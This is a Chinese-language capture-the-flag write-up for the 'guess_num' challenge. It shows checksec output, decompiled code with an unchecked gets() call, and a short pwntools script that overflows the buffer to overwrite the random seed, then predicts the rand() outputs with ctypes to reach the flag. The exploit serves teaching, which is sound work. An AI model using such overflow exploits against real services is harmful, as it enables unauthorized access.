攻防世界 guess_num

  1. checksec guess_num

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

  1. 用IDA64打开,找到main函数,F5反编译,可以分析得出其基本逻辑为:首先从输入gets一个姓名,然后用种子初始化随机数发生器,对生成的随机数进行处理,然后输入一个整数,将随机数处理后的值与输入数值进行比较,如果10轮比较都相同则成功,随即调用sub_C3E()。该函数会cat flag。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets(&v7);
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}
__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}
  1. 查看v7所在栈,发现v7的范围

因此,只要栈溢出,将我们指定的值覆盖到seed的部分,然后借助ctypes调用Linux中C标准动态库libc.so.6,就可以按我们从IDA中直观看到的反编译后的代码的相同结构,编写随机数发生器的初始化和产生随机数的过程。
4. 通过ldd guess_num查看标准库

linux-vdso.so.1 (0x00007ffef535e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd902bba000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd9031ad000)

  1. 所以参考Python使用Ctypes与C/C++ DLL文件通信过程介绍及实例分析导入对应的C标准动态库即可。
from ctypes import *
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
  1. 具体求解过程如下:
from pwn import *
from ctypes import *

io  = remote('220.249.52.133', 51872)

# 导入对应C标准动态库
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# gets到的v7需要先填满0x30到0x11之间,也即0x20字节,然后才会覆盖seed的部分,因此先放0x20个a再往seed放入1
payload = "a" * 0x20 + p64(1)
io.sendline(payload)
# 用我们存入的seed值对随机数发生器进行初始化,操作方法同IDA反编译后的main函数
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6+1)
    io.sendline(num)

io.interactive()

cyberpeace

参考:wzsec's wp

posted @ 2020-10-06 01:41  vict0r  阅读(707)  评论(0编辑  收藏  举报